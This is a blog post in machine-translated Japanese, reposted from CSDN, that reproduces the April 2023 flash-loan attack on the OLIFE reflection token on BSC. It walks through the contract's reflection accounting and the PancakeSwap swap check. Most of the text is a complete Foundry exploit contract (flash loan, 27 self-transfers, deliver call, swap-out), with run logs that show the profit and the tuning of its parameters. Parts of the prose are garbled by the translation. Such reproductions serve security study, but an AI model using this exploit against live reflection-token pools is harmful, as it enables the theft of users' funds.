【ブロックチェーンセキュリティ-DEFI攻撃再発】 001-20230419 OLIFE

【ブロックチェーンセキュリティ-DEFI攻撃再発】 001-20230419 OLIFE


2023 年 4 月 19 日、 BSC チェーンの OLIFE コントラクトが 攻撃され、 32 WBNB 10.6K US$ 被りました。

攻撃紹介

2023 年 4 月 19 日に@BeosinAlert警告が発行され、BSCチェーンOLIFEが攻撃され、約32 WBNB損失が発生し、攻撃ハッシュは0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a.


攻撃分析

分析にはまだファルコンを使用しています。

攻撃者は0xfb8ef8de849079559801bff8848178640cdd41b7攻撃契約を発動し、まずフラッシュローンを通じてDPPOracle借り入れ969 WBNB、それを交換に使用する.交換中に判断が行われるため、アドレスpancakeSwap一定の税率が送金される(つまり、目的を達成するため).寄付)。_sendToCharity_charity

高額買取のため、プールは完売いたします。トランザクションペアにはOLIFE(9 の精度で) だけが残り5583143203784247、攻撃者は1281005444859156591 つを持っています。

しかし、今すぐ買い戻せば、手数料の純粋な損失になります。

しかし、攻撃者は代わりに自分自身に送金を繰り返し、自分のトークンの数はどんどん少なくなっていきました。

OLIFE合约中定义:
    uint256 private _tTotal = 260000000 * _DECIMALFACTOR;
    uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
    
因为是有收取手续费 11%,当然由于分红的存在,到手肯定大于89%
    uint256 private     _TAX_FEE = 300; // 3% BACK TO HOLDERS
    uint256 private    _BURN_FEE = 200; // 2% BURNED
    uint256 private _CHARITY_FEE = 600; // 6% TO CHARITY WALLET

最初は仕組みがわからなくて、r、tこの山は何だろう?と少し戸惑いました。考えた上で、再発と監査はゼロから始めることです。したがって、OLIFE契約が分析されます。

重要なパラメータは次のとおりです。

    mapping (address => uint256) private _rOwned; //@todo 存储用户的rOwned 
    mapping (address => uint256) private _tOwned; //@todo 存储用户的tOwned 
    mapping (address => mapping (address => uint256)) private _allowances; (授权,不关心)
    mapping (address => bool) private _isExcluded; (黑名单)
    mapping (address => bool) private _isCharity;(白名单)
    address[] private _excluded; (黑名单列表)
    address[] private _charity; (白名单列表)
    
    uint256 private constant _MAX = ~uint256(0); (type(uint256).max
    uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
    uint256 private constant _GRANULARITY = 100;
    
    uint256 private _tTotal = 260000000 * _DECIMALFACTOR; //发行总量
    uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); // @todo
    
    uint256 private _tFeeTotal; // 手续费总量
    uint256 private _tBurnTotal; // 销毁总量
    uint256 private _tCharityTotal; // 捐献(白名单)总量

コントラクトに出現する順序で、いくつかの関数を分析します。

  • 配達
    
   @todo 现在还不知道deliver有什么用
    function deliver(uint256 tAmount) public { // tAmount 就是 tokenAmount
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }
    
    接下来看看_getVaules(tAmount)
    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tFee, uint256 tBurn, uint256 tCharity) = _getTBasics(tAmount, _TAX_FEE, _BURN_FEE, _CHARITY_FEE); // 按照比例计算 分红、销毁、捐献的量
        uint256 tTransferAmount = getTTransferAmount(tAmount, tFee, tBurn, tCharity); // 减去损耗量
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rFee) = _getRBasics(tAmount, tFee, currentRate);
        uint256 rTransferAmount = _getRTransferAmount(rAmount, rFee, tBurn, tCharity, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn, tCharity);
    }
    
    计算rSupply与tSupply之比 
    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
    
    获取当前供应,除去黑名单中
    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); // 防止下溢
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); // @todo
        return (rSupply, tSupply);
    }
    
    按比例通缩 Rvalue
    function _getRBasics(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        return (rAmount, rFee);
    }
    
    // 计算出R的值
    function _getRTransferAmount(uint256 rAmount, uint256 rFee, uint256 tBurn, uint256 tCharity, uint256 currentRate) private pure returns (uint256) {
        uint256 rBurn = tBurn.mul(currentRate);
        uint256 rCharity = tCharity.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rCharity);
        return rTransferAmount;
    }
    
    
  • 移行
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        // Remove fees for transfers to and from charity account or to excluded account
        bool takeFee = true;
        if (_isCharity[sender] || _isCharity[recipient] || _isExcluded[recipient]) {
            takeFee = false;
        }

        if (!takeFee) removeAllFee();
        
        if (sender != owner() && recipient != owner())
            require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
        
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }

        if (!takeFee) restoreAllFee();
    }
    
    
    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tCharity) = _getValues(tAmount);
        uint256 rBurn =  tBurn.mul(currentRate);
        uint256 rCharity = tCharity.mul(currentRate);     
        _standardTransferContent(sender, recipient, rAmount, rTransferAmount);
        _sendToCharity(tCharity, sender);
        _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    // 这里rTotal为什么每次都扣的多一点?
    function _reflectFee(uint256 rFee, uint256 rBurn, uint256 rCharity, uint256 tFee, uint256 tBurn, uint256 tCharity) private {
        _rTotal = _rTotal.sub(rFee).sub(rBurn).sub(rCharity);
        _tFeeTotal = _tFeeTotal.add(tFee);
        _tBurnTotal = _tBurnTotal.add(tBurn);
        _tCharityTotal = _tCharityTotal.add(tCharity);
        _tTotal = _tTotal.sub(tBurn);
    }
   

問題はここにあります。為替レートが変化すると、合計に一致がrateなくなりbalanceOf、後で POC で確認できます。swapreserve

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }
    
    余额实际通过rAmount除以兑换比例
    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }
    

これはどのような結果につながりますか?では、残高を照会するために使用されます。一致しない場合は差異が生じます。渡されたように見えますが、実行されていませんswap balance1 = IERC20(_token1).balanceOf(address(this));交換で使用する場合はPancakeRouter必須であり、transferFromこれを行うことはできません。

function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
        require(amount0Out > 0 || amount1Out > 0, 'Pancake: INSUFFICIENT_OUTPUT_AMOUNT');
        (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
        require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pancake: INSUFFICIENT_LIQUIDITY');

        uint balance0;
        uint balance1;
        { // scope for _token{0,1}, avoids stack too deep errors
        address _token0 = token0;
        address _token1 = token1;
        require(to != _token0 && to != _token1, 'Pancake: INVALID_TO');
        if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
        if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
        if (data.length > 0) IPancakeCallee(to).pancakeCall(msg.sender, amount0Out, amount1Out, data);
        balance0 = IERC20(_token0).balanceOf(address(this));
        balance1 = IERC20(_token1).balanceOf(address(this));
        }
        uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
        uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
        require(amount0In > 0 || amount1In > 0, 'Pancake: INSUFFICIENT_INPUT_AMOUNT');
        { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
        uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(25)));
        uint balance1Adjusted = (balance1.mul(10000).sub(amount1In.mul(25)));
        require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Pancake: K');
        }

        _update(balance0, balance1, _reserve0, _reserve1);
        emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
    }

POC の書き込み

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 10.6K US$
// Event : Olife Hack
// Analysis via https://explorer.phalcon.xyz/tx/bsc/0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a
// Attacker : 0xfb8ef8de849079559801bff8848178640cdd41b7
// Attack Contract : 0xa9de288d61a7ed99cdd1109b051ef402d85a6b91
// Vulnerable Contract : 0xb5a0Ce3Acd6eC557d39aFDcbC93B07a1e1a9e3fa (OLIFE Contract)
// Vulnerable Contract : 0x915c2dfc34e773dc3415fe7045bb1540f8bdae84 (Pancake Swap Contract)
// Attack Tx : https://bscscan.com/tx/0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a

// @Info
// FlashLoan Attack, Price manipulation

// @Analysis
// DefiHackLab : https://twitter.com/BeosinAlert/status/1648520494516420608

address constant DPPORACLE_ADDRESS = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
address constant WBNB_ADDRESS = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant OLIFE_ADDRESS = 0xb5a0Ce3Acd6eC557d39aFDcbC93B07a1e1a9e3fa;
address constant SWAP_ADDRESS = 0x915C2DFc34e773DC3415Fe7045bB1540F8BDAE84;
address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);

uint256 constant BORROW_AMOUNT = 969 ether;
uint256 constant OLIFE_DECIMAL = 9;

contract OlifeHacker is Test {
    function setUp() public {
        vm.createSelectFork("bsc",27470678); // Go back before hacking time
        console.log("start with block %d",27470678);
        console.log("OlifeHacker address %s",address(this));
    }

    function testExploit() public {
        console.log("start hacking...");
        emit log_named_decimal_uint("[Start] Attacker WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
        Exploit exploit = new Exploit();
        exploit.attack();
        console.log("finish hacking...");
        emit log_named_decimal_uint("[End] Attacker WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
    }
}

contract Exploit is Test{

    address owner;

    constructor() {
        owner = msg.sender;
        console.log("Exploit address %s",address(this));
    }

    function attack() external {
        IDPPORACLE(DPPORACLE_ADDRESS).flashLoan(BORROW_AMOUNT, 0, address(this), "1");
    }

    function DPPFlashLoanCall(
        address sender,
        uint256 baseAmount,
        uint256 quoteAmount,
        bytes calldata data
    ) external{
        console.log("receiving flashLoan");
        emit log_named_decimal_uint("[Hacking] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);

        uint112 balanceOfReserve;
        (balanceOfReserve,,) = IPancakePair(SWAP_ADDRESS).getReserves();
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Reserve", balanceOfReserve, 9);
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
        IERC20(WBNB_ADDRESS).approve(PANCAKE_ROUTER,type(uint256).max);

        console.log("Swap WBNB for OLIFE");
        address[] memory paths = new address[](2);
        paths[0] = WBNB_ADDRESS;
        paths[1] = OLIFE_ADDRESS;

        IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            BORROW_AMOUNT,1,paths,address(this),block.timestamp *2
        );

        (balanceOfReserve,,) = IPancakePair(SWAP_ADDRESS).getReserves();
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Reserve", balanceOfReserve, 9);
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
        emit log_named_decimal_uint("[Hacking] Exploit OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(address(this)), 9);


        for (uint i =0; i<27; i++){
            IERC20(OLIFE_ADDRESS).transfer(address(this),IERC20(OLIFE_ADDRESS).balanceOf(address(this)));
        }
  
        (balanceOfReserve,,) = IPancakePair(SWAP_ADDRESS).getReserves();
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Reserve", balanceOfReserve, 9);
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
        emit log_named_decimal_uint("[Hacking] Exploit OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(address(this)), 9);

        console.log("deliver to reduce ramount");
    
        uint amount = IERC20(OLIFE_ADDRESS).balanceOf(address(this)) * 8 / 100 ;

        IOLIFE(OLIFE_ADDRESS).deliver(amount);
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
     
        (,uint target,) = IPancakePair(SWAP_ADDRESS).getReserves();
        IPancakePair(SWAP_ADDRESS).swap(0,target - 5 ether,address(this),"");

        emit log_named_decimal_uint("[Hacking] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
        WBNB(WBNB_ADDRESS).transfer(msg.sender, BORROW_AMOUNT + 1 ether);
        WBNB(WBNB_ADDRESS).transfer(owner, WBNB(WBNB_ADDRESS).balanceOf(address(this)));

    }

    fallback() external payable {

    }
}


/* -------------------- Interface -------------------- */
interface IDPPORACLE{
    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address _assetTo,
        bytes calldata data
    ) external;
}

interface IOLIFE {
    function deliver(uint256 tAmount) external;
}

攻撃の結果は次のとおりです。

  start with block 27470678
  OlifeHacker address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
  start hacking...
  [Start] Attacker WBNB Balance: 0.000000000000000000
  Exploit address 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
  receiving flashLoan
  [Hacking] Exploit WBNB Balance: 969.000000000000000000
  [Hacking] Pair OLIFE Reserve: 161703370.635833872
  [Hacking] Pair OLIFE Balance: 161703370.635833872
  Swap WBNB for OLIFE
  [Hacking] Pair OLIFE Reserve: 5583143.203784247
  [Hacking] Pair OLIFE Balance: 5583143.203784247
  [Hacking] Exploit OLIFE Balance: 148760274.602488242
  [Hacking] Pair OLIFE Reserve: 5583143.203784247
  [Hacking] Pair OLIFE Balance: 169245382.288347219
  [Hacking] Exploit OLIFE Balance: 193934561.084078243
  deliver to reduce ramount
  [Hacking] Pair OLIFE Balance: 1153758146.350903074
  [Hacking] Exploit WBNB Balance: 996.286315327689621042
  finish hacking...
  [End] Attacker WBNB Balance: 26.286315327689621042

ここでパラメータはどのように選択されていますか?

私たちの目的は、実際にはPair OLIFE Balance大きいほど良いことですが、これはtransfer大きいほど良いという意味ではありません。ここでの関数は線形プロセスではないように見えるからです。観察しましょう:

tokenFromReflection(_rOwned[account]) (_rOwned[account]没有变化)
= rAmount.div(currentRate); (rAmount是固定的) 就希望currentRate越小越好
= rAmount.div(rSupply.div(tSupply);)  因为transfer是rTotal每次都要扣得更多

因为rSupply,tSupply一定要满足
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);

それぞれ55 回と仮定するとtransfer、次のようになります。

  self-transfering &d times 0
  [Hacking] Pair OLIFE Balance: 5965834.964275918
  self-transfering &d times 1
  [Hacking] Pair OLIFE Balance: 6377175.352939124
  self-transfering &d times 2
  [Hacking] Pair OLIFE Balance: 6819817.480508067
  self-transfering &d times 3
  [Hacking] Pair OLIFE Balance: 7296766.874557534
  self-transfering &d times 4
  [Hacking] Pair OLIFE Balance: 7811449.715751772
  self-transfering &d times 5
  [Hacking] Pair OLIFE Balance: 8367798.552698146
  self-transfering &d times 6
  [Hacking] Pair OLIFE Balance: 8970361.033315312
  self-transfering &d times 7
  [Hacking] Pair OLIFE Balance: 9624439.311732244
  self-transfering &d times 8
  [Hacking] Pair OLIFE Balance: 10336270.881927976
  self-transfering &d times 9
  [Hacking] Pair OLIFE Balance: 11113266.178492898
  self-transfering &d times 10
  [Hacking] Pair OLIFE Balance: 11964325.230947141
  self-transfering &d times 11
  [Hacking] Pair OLIFE Balance: 12900266.402288403
  self-transfering &d times 12
  [Hacking] Pair OLIFE Balance: 13934417.267808595
  self-transfering &d times 13
  [Hacking] Pair OLIFE Balance: 15083445.406949223
  self-transfering &d times 14
  [Hacking] Pair OLIFE Balance: 16368553.396109279
  self-transfering &d times 15
  [Hacking] Pair OLIFE Balance: 17817243.096601386
  self-transfering &d times 16
  [Hacking] Pair OLIFE Balance: 19466000.377918240
  self-transfering &d times 17
  [Hacking] Pair OLIFE Balance: 21364527.767709884
  self-transfering &d times 18
  [Hacking] Pair OLIFE Balance: 23582704.382275693
  self-transfering &d times 19
  [Hacking] Pair OLIFE Balance: 26222627.677106660
  self-transfering &d times 20
  [Hacking] Pair OLIFE Balance: 29440797.501546225
  self-transfering &d times 21
  [Hacking] Pair OLIFE Balance: 33492371.063995032
  self-transfering &d times 22
  [Hacking] Pair OLIFE Balance: 38829181.178559406
  self-transfering &d times 23
  [Hacking] Pair OLIFE Balance: 46350584.748422002
  self-transfering &d times 24
  [Hacking] Pair OLIFE Balance: 58199913.781211012
  self-transfering &d times 25
  [Hacking] Pair OLIFE Balance: 81421932.530785891
  self-transfering &d times 26
  [Hacking] Pair OLIFE Balance: 169245382.288347219
  self-transfering &d times 27
  [Hacking] Pair OLIFE Balance: 8565626.216194936
  self-transfering &d times 28
  [Hacking] Pair OLIFE Balance: 8601640.017488151
  self-transfering &d times 29
  [Hacking] Pair OLIFE Balance: 8633974.947322905
  self-transfering &d times 30
  [Hacking] Pair OLIFE Balance: 8662979.820952042
  self-transfering &d times 31
  [Hacking] Pair OLIFE Balance: 8688975.875408847
  self-transfering &d times 32
  [Hacking] Pair OLIFE Balance: 8712257.789790435
  self-transfering &d times 33
  [Hacking] Pair OLIFE Balance: 8733094.948348327
  self-transfering &d times 34
  [Hacking] Pair OLIFE Balance: 8751732.863050564
  self-transfering &d times 35
  [Hacking] Pair OLIFE Balance: 8768394.688696260
  self-transfering &d times 36
  [Hacking] Pair OLIFE Balance: 8783282.777911670
  self-transfering &d times 37
  [Hacking] Pair OLIFE Balance: 8796580.235477638
  self-transfering &d times 38
  [Hacking] Pair OLIFE Balance: 8808452.441568123
  self-transfering &d times 39
  [Hacking] Pair OLIFE Balance: 8819048.521808558
  self-transfering &d times 40
  [Hacking] Pair OLIFE Balance: 8828502.748805391
  self-transfering &d times 41
  [Hacking] Pair OLIFE Balance: 8836935.865172499
  self-transfering &d times 42
  [Hacking] Pair OLIFE Balance: 8844456.322295393
  self-transfering &d times 43
  [Hacking] Pair OLIFE Balance: 8851161.432322344
  self-transfering &d times 44
  [Hacking] Pair OLIFE Balance: 8857138.433324438
  self-transfering &d times 45
  [Hacking] Pair OLIFE Balance: 8862465.469373661
  self-transfering &d times 46
  [Hacking] Pair OLIFE Balance: 8867212.488577338
  self-transfering &d times 47
  [Hacking] Pair OLIFE Balance: 8871442.062986563
  self-transfering &d times 48
  [Hacking] Pair OLIFE Balance: 8875210.134855232
  self-transfering &d times 49
  [Hacking] Pair OLIFE Balance: 8878566.694038540
  self-transfering &d times 50
  [Hacking] Pair OLIFE Balance: 8881556.391445157
  self-transfering &d times 51
  [Hacking] Pair OLIFE Balance: 8884219.093443830
  self-transfering &d times 52
  [Hacking] Pair OLIFE Balance: 8886590.382011086
  self-transfering &d times 53
  [Hacking] Pair OLIFE Balance: 8888702.005222202
  self-transfering &d times 54
  [Hacking] Pair OLIFE Balance: 8890582.282456105

26回を過ぎると崖から落ち始め、またゆっくりと成長し始めたのですが、この時は があるのでrSupply > _rTotal.div(_tTotal)26回を選びましたが、現時点では足りないようです?

[Hacking] Exploit OLIFE Balance: 193934561.084078243

Failing tests:
Encountered 1 failing test in src/test/POCYoung/001-Olife.sol:OlifeHacker
[FAIL. Reason: Pancake: K] 

つまり、balance現時点では十分な大きさではないので、他の方法はありますか? はい、deliver関数を使用して一方的に削減できますrtotalただし、最適なパラメーターを見つけるには:

在26次后进行逐渐`deliver`
        uint amount = IERC20(OLIFE_ADDRESS).balanceOf(address(this))/100;
        for (uint i=1; i< 100; i++){
            console.log("deliver &d times",i);
            IOLIFE(OLIFE_ADDRESS).deliver(amount);
            emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
        }

変異しなければ、自然に大きくなり、良くなります。テスト後、現在の値が選択され8/100、POC が完了します。(実はちょっと恥ずかしいです。テスト中に、配達の小さなバッチが99回の1%を占める場合、これはレートも変化し、成長が遅れるためであることがわかりました.1回配達された場合、8 % で十分です)。

要約する

何も言うことのない開発者は、前年比成長率の低下を保証するものではなく、ハッカーは多くの試みを行ったに違いありません (複数のオンチェーン インタラクションにより、対応する価値が押し出される可能性があります)。準備の。

おすすめ

転載: blog.csdn.net/weixin_43982484/article/details/130397987